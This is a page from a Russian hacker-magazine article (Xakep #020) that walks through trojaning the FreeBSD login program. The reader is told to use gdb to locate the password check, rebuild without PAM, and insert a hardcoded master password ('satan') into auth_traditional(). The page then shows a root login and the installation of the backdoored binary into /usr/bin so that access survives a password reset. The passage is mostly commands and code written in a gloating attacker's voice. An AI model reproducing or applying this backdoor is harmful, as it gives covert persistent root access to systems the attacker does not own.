|

Слепой админ
Xakep, номер #020, стр. 020-056-2
Теперь ставим break 1. Это для того, чтобы, когда мы запустим прогу,
в дебаггере она остановилась на первой строчке кода. Иначе она
выполнится вся сразу, что нам совершенно не надо. -)
(gdb)break 1
Breakpoint 1 at 0x8049894: fili login.c, line 1
Теперь запускаем ее и двигаемся вперед до тех пор
Пока, нас не запросят ввести пароль.
(gdb)run
Starting program: /usr/src/usr.bin/login/login
Breakpoint 1, main (argc=-272638616, argv=0x0) at login.c:130
130 {
(gdb)step
(gdb) [жмем ентер до тех пор, пока не потребуют ввести пароль]
Если на строках 278,277 или вообще на каких-нибудь других получается круговорот,
выйди из gdb. Запусти его снова, но в этот раз уже поставь break на строчку
выше. В моем случае это - 279.
И опять же двигайся step-ами. -)
Итак, смотрим, куда кладется наш пароль...
(gdb)
657 e=pam_authenticate(pamh,0);
(gdb)
Passwd:
(gdb)
Вот тут становится понятно, что используется ф-ия pam_authenticate.
Эта аутентификация не катит. -) Хотя можно и ее переколбасить. Но мы не
ищем легких путей! Выходим из gdb и редактируем Makefile снова. -)
Дописываем в строку, начинающуюся с CFLAGS+=
-DNO_PAM
Сохраняем Makefile, стираем старый 'login' и компилим login заново:
bash#rm login
bash#rm *.o
bash#make
Грузим gdb и делаем то же самое, что и в прошлый раз...
Опа, теперь уже другая ф-ия. -)
(gdb)
609 p=getpass("Password:");
(gdb)
Password:
Она-то нас и устраивает. -) 609 означает, что эта строчка
номер 609 файла login.c .
Выходим из gdb и открываем login.c .
Жмем 609 раз клавишу вниз. -))))
И смотрим, что же там происходит...
Ну, сразу становится понятно, что основная функция - auth_traditional().
Она криптует полученный от пользователя пароль и сверяет его с паролем,
который в базе. И в конце возвращает переменную типа интегер со значением
0, если пароль верный, и 1, если не верный.
Супер. Создаем внутри этой ф-ии массив gotroot, в котором будет
храниться наш собственный пароль-)
Для этого, в моем случае, чуть выше 609 строки под 'char *salt'
я добавляю новую:
char gotroot[]="satan";
Пароль будет "satan". -) Теперь спускаемся чуть ниже... -)
Туда, где кончается функция auth_traditional и возвращается значение rval...
И прямо над строкой
memset(p,0,strlen(p);
дописываем новую -)
if(strcmp(p,gotroot)==NULL)
rval=0;
Сохраняем login.c, стираем старые откомпиленные и создаем новый login. -)
bash#rm login
bash#rm *.o
bash#make
Ну вот, практически и все, gdb нам больше не понадобится. Теперь
давай проверим, все ли мы сделали так, как надо. -)
bash#./login
login:root
Password:satan
Wellcome to FreeBSD
You have mail.
#id
uid=0(root) gid=0(wheel) groups=0(wheel)
#
Упс! -) Пашет! -) Но прежде чем закидывать новый login в /usr/bin,
сотри его сначала. Да-да, сотри...
bash#rm login
bash#rn *.o
И убери в файле Makefile флаг -g3... После чего компиль заново
и кидай в /usr/bin .
bash#make
bash#mv login /usr/bin/
Готово. -) Теперь, если даже админ и просечет, что ты изнасиловал его
тачку и сменит все пароли, - тебе по фигу. Пароль "satan" подойдет в любом случае.
Я, правда, исключаю тот случай, что у администратора хватит мозгов переставить все
Назад на стр. 020-056-1 Содержание Вперед на стр. 020-056-3
|